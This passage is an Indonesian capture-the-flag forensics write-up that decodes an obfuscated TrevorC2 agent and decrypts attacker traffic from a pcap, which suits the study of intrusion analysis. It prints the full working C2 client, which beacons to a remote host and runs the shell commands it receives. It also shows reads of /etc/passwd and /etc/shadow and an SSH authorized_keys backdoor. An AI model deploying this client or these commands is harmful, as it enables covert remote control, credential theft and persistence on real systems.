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

deobfuscate.py

import base64
import zlib
import re

def extract_blob(data):
    """
    ambil blob dari exec((_)(b'...')) kalau ada
    """
    try:
        text = data.decode(errors="ignore")
        m = re.search(r"exec\(\(_\)\(b'(.*?)'\)\)", text, re.DOTALL)
        if m:
            return m.group(1).encode()
    except:
        pass
    return data


def decode(data):
    """
    decode reverse + base64 + zlib
    """
    try:
        return zlib.decompress(base64.b64decode(data[::-1]))
    except:
        return None


# load file awal
data = open("agent_enc.txt", "rb").read()

layer = 0

while True:

    blob = extract_blob(data)

    new = decode(blob)

    if not new:
        break

    data = new
    layer += 1

# simpan hasil akhir saja
open("agent.py", "wb").write(data)

print(f"[+] DONE")
print(f"[+] total layers decoded: {layer}")
print(f"[+] saved as agent.py\n")

print(data.decode(errors="ignore"))

python3 deobfuscate.py

output:

#!/usr/bin/env python
#
# TrevorC2 - legitimate looking command and control
# Written by: Dave Kennedy @HackingDave
# Website: https://www.trustedsec.com
# GIT: https://github.com/trustedsec
#
# This is the client connection, and only an example. Refer to the readme
# to build your own client connection to the server C2 infrastructure.

# CONFIG CONSTANTS:

# site used to communicate with (remote TrevorC2 site)
SITE_URL = ("http://192.168.56.104")

# THIS IS WHAT PATH WE WANT TO HIT FOR CODE - YOU CAN MAKE THIS ANYTHING EXAMPLE: /index.aspx (note you need to change this as well on trevorc2_server)
ROOT_PATH_QUERY = ("/")

# THIS FLAG IS WHERE THE CLIENT WILL SUBMIT VIA URL AND QUERY STRING GET PARAMETER
SITE_PATH_QUERY = ("/images")

# THIS IS THE QUERY STRING PARAMETER USED
QUERY_STRING = ("guid=")

# STUB FOR DATA - THIS IS USED TO SLIP DATA INTO THE SITE, WANT TO CHANGE THIS SO ITS NOT STATIC
STUB = ("oldcss=")

# time_interval is the time used between randomly connecting back to server, for more stealth, increase this time a lot and randomize time periods
time_interval1 = 2
time_interval2 = 8

# THIS IS OUR ENCRYPTION KEY - THIS NEEDS TO BE THE SAME ON BOTH SERVER AND CLIENT FOR APPROPRIATE DECRYPTION. RECOMMEND CHANGING THIS FROM THE DEFAULT KEY
CIPHER = ("aa34042ac9c17b459b93c0d49c7124ea")

# DO NOT CHANGE BELOW THIS LINE


# python 2/3 compatibility, need to move this to python-requests in future

import requests
import random
import base64
import time
import subprocess
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
import sys
import platform

# AES Support for Python2/3 - http://depado.markdownblog.com/2015-05-11-aes-cipher-with-python-3-x
class AESCipher(object):
    """
    A classical AES Cipher. Can use any size of data and any size of password thanks to padding.
    Also ensure the coherence and the type of the data with a unicode to byte converter.
    """
    def __init__(self, key):
        self.bs = 16
        self.key = hashlib.sha256(AESCipher.str_to_bytes(key)).digest()

    @staticmethod
    def str_to_bytes(data):
        u_type = type(b''.decode('utf8'))
        if isinstance(data, u_type):
            return data.encode('utf8')
        return data

    def _pad(self, s):
        return s + (self.bs - len(s) % self.bs) * AESCipher.str_to_bytes(chr(self.bs - len(s) % self.bs))

    @staticmethod
    def _unpad(s):
        return s[:-ord(s[len(s)-1:])]

    def encrypt(self, raw):
        raw = self._pad(AESCipher.str_to_bytes(raw))
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return base64.b64encode(iv + cipher.encrypt(raw)).decode('utf-8')

    def decrypt(self, enc):
        enc = base64.b64decode(enc)
        iv = enc[:AES.block_size]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')



# establish cipher
cipher = AESCipher(key=CIPHER)


# random interval for communication
def random_interval(time_interval1, time_interval2):
    return random.randint(time_interval1, time_interval2)

hostname = platform.node()
req = requests.session()

def connect_trevor():
    # we need to registery our asset first
    while 1:
        time.sleep(1)
        try:
            hostname_send  = cipher.encrypt("magic_hostname=" + hostname).encode('utf-8')
            hostname_send = base64.b64encode(hostname_send).decode('utf-8')

            # pipe out stdout and base64 encode it then request via a query string parameter
            html = req.get(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + hostname_send, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}).text
            break

        # handle exceptions and pass if the server is unavailable, but keep going
        except Exception as error:
            # if we can't communicate, just pass
            if "Connection refused" in str(error):
                pass
            else:
                print("[!] Something went wrong, printing error: " + str(error))

connect_trevor()

# main call back here
while 1:
    try:
        time.sleep(random_interval(time_interval1, time_interval2))
        # request with specific user agent
        html = req.get(SITE_URL + ROOT_PATH_QUERY, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}).text

        # <!-- PARAM=bm90aGluZw== --></body> -  What we split on here on encoded site
        parse = html.split("<!-- %s" % (STUB))[1].split("-->")[0]
        parse = cipher.decrypt(parse)
        if parse == "nothing": pass
        else:
            if hostname in parse:
                parse = parse.split(hostname + "::::")[1]
                # execute our parsed command
                proc = subprocess.Popen(parse, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                stdout_value = proc.communicate()[0]
                stdout_value = cipher.encrypt(hostname + "::::" + str(stdout_value)).encode('utf-8')
                stdout_value = base64.b64encode(stdout_value).decode('utf-8')

                # pipe out stdout and base64 encode it then request via a query string parameter
                html = req.get(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + stdout_value, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}).text

                # sleep random interval and let cleanup on server side
                time.sleep(random_interval(time_interval1, time_interval2))

    # handle exceptions and pass if the server is unavailable, but keep going
    except Exception as error:
        # if we can't communicate, just pass
        if "Connection refused" in str(error):
            connect_trevor()
        else:
            print("[!] Something went wrong, printing error: " + str(error))

    except KeyboardInterrupt:
        print ("\n[!] Exiting TrevorC2 Client...")
        sys.exit()

1771243110295

akhirnya kita berhasil mendapatkan CIPHER_KEY nya: aa34042ac9c17b459b93c0d49c7124ea

aa34042ac9c17b459b93c0d49c7124ea

8. What was the first file accessed by the attacker?

Required Format: /file/to/path

Solution

disini kita sudah menemukan CIPHER_KEY nya, kita bisa melakukan decode command yang telah dijalankan oleh attacker.

disini saya mencari decypt trevorc2, dan akhirnya menemukan repository untuk melakukan decyrpt trevorc2

1771243503607

setelah dibaca README githubnya. intinya dia trevorc2 itu meakukan command dan command nya itu ditaruh di parameter seperti oldcss=, dan guid=.

1771243655261

karena saya baca file pythonya sepertinya ini perlu manual mengambil guid, dan oldcss nya, saya mencari alternatif lain apakah ada tool yang bisa melakukan decyrpt ke file pcap.

dan saya menemukan di salah satu url ketika saya mencari repositorynya: TrevorC2 Decryptor

1771243882028

wget https://github.com/Abdelrahme/Trevorc2_decrypt/raw/refs/heads/main/trevorc2_decrypt.py

setelah di wget ubah terlebih dahulu cipher key nya di file trevorc2_decrypt.py dengan aa34042ac9c17b459b93c0d49c7124ea

nano trevorc2_decrypt.py
python3 trevorc2_decrypt.py -i network.pcap

1771244175434

output:

-----------------------------
Server Command
server1::::cat /etc/passwd
-----------------------------
Server Command
server1::::cat /etc/shadow
-----------------------------
Server Command
server1::::echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP4L46b5SCsXlizakO+iXIr2pjQ48dryUiX1tCGbzEUZ kali@kali' > /home/daffainfo/.ssh/authorized_keys
-----------------------------
Server Command
server1::::mkdir /home/daffainfo/.ssh
-----------------------------
Server Command
server1::::echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP4L46b5SCsXlizakO+iXIr2pjQ48dryUiX1tCGbzEUZ kali@kali' > /home/daffainfo/.ssh/authorized_keys
-----------------------------
Server Command
server1::::cat /home/daffainfo/.ssh/authorized_keys
-----------------------------
Client Response
magic_hostname=server1
-----------------------------
Client Response
server1::::b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin\nsystemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin\ndhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false\nmessagebus:x:101:102::/nonexistent:/usr/sbin/nologin\nsystemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin\npollinate:x:102:1::/var/cache/pollinate:/bin/false\npolkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin\nsyslog:x:103:104::/nonexistent:/usr/sbin/nologin\nuuidd:x:104:105::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:105:107::/nonexistent:/usr/sbin/nologin\ntss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false\nlandscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin\nfwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin\nusbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nsshd:x:109:65534::/run/sshd:/usr/sbin/nologin\ndaffainfo:x:1000:1000:daffainfo:/home/daffainfo:/bin/bash\ndnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin\n'
-----------------------------
Client Response
server1::::b'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP4L46b5SCsXlizakO+iXIr2pjQ48dryUiX1tCGbzEUZ kali@kali\n'

dari sini kita mengetahui file yang di akses ketika pertama kali dijalankan oleh attacker adalah /etc/passwd

/etc/passwd

9. What command or method was used by the attacker to establish persistence on the system?

Required Format: -

Solution

dari hasil decrypt command treverc2, kita bisa melihat bahwa attacker melakukan command echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP4L46b5SCsXlizakO+iXIr2pjQ48dryUiX1tCGbzEUZ kali@kali' > /home/daffainfo/.ssh/authorized_keys untuk memasukan public key ssh ke dalam file authorized_keys sehingga attacker bisa melakukan ssh ke dalam server dengan menggunakan private key yang sesuai dengan public key tersebut.

echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP4L46b5SCsXlizakO+iXIr2pjQ48dryUiX1tCGbzEUZ kali@kali' > /home/daffainfo/.ssh/authorized_keys

10. Which MITRE ATT&CK technique corresponds to the persistence method used

Required Format: T1337.000

Solution

dari hasil decypt sebelumnya kita tahu bahwa attacker melakukan establish persistent dengan menggunakan SSH Authorized Keys jadi kita bisa coba cari di google SSH Authorized Keys MITRE ATT&CK

1771244634216

T1098.004

Answer Questions

HOST=challenges.1pc.tf
PORT=25210

printf "%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n" \
"192.168.56.104" \
"192.168.56.103" \
"nmap" \
"CVE-2025-55182" \
"echo 123" \
"TrevorC2" \
"aa34042ac9c17b459b93c0d49c7124ea" \
"/etc/passwd" \
"echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP4L46b5SCsXlizakO+iXIr2pjQ48dryUiX1tCGbzEUZ kali@kali' > /home/daffainfo/.ssh/authorized_keys" \
"T1098.004" \
| nc $HOST $PORT

1771230825504

flag

C2C{r34C725h3Ll_f0r_7H3_W1n_857660320c70}

On this page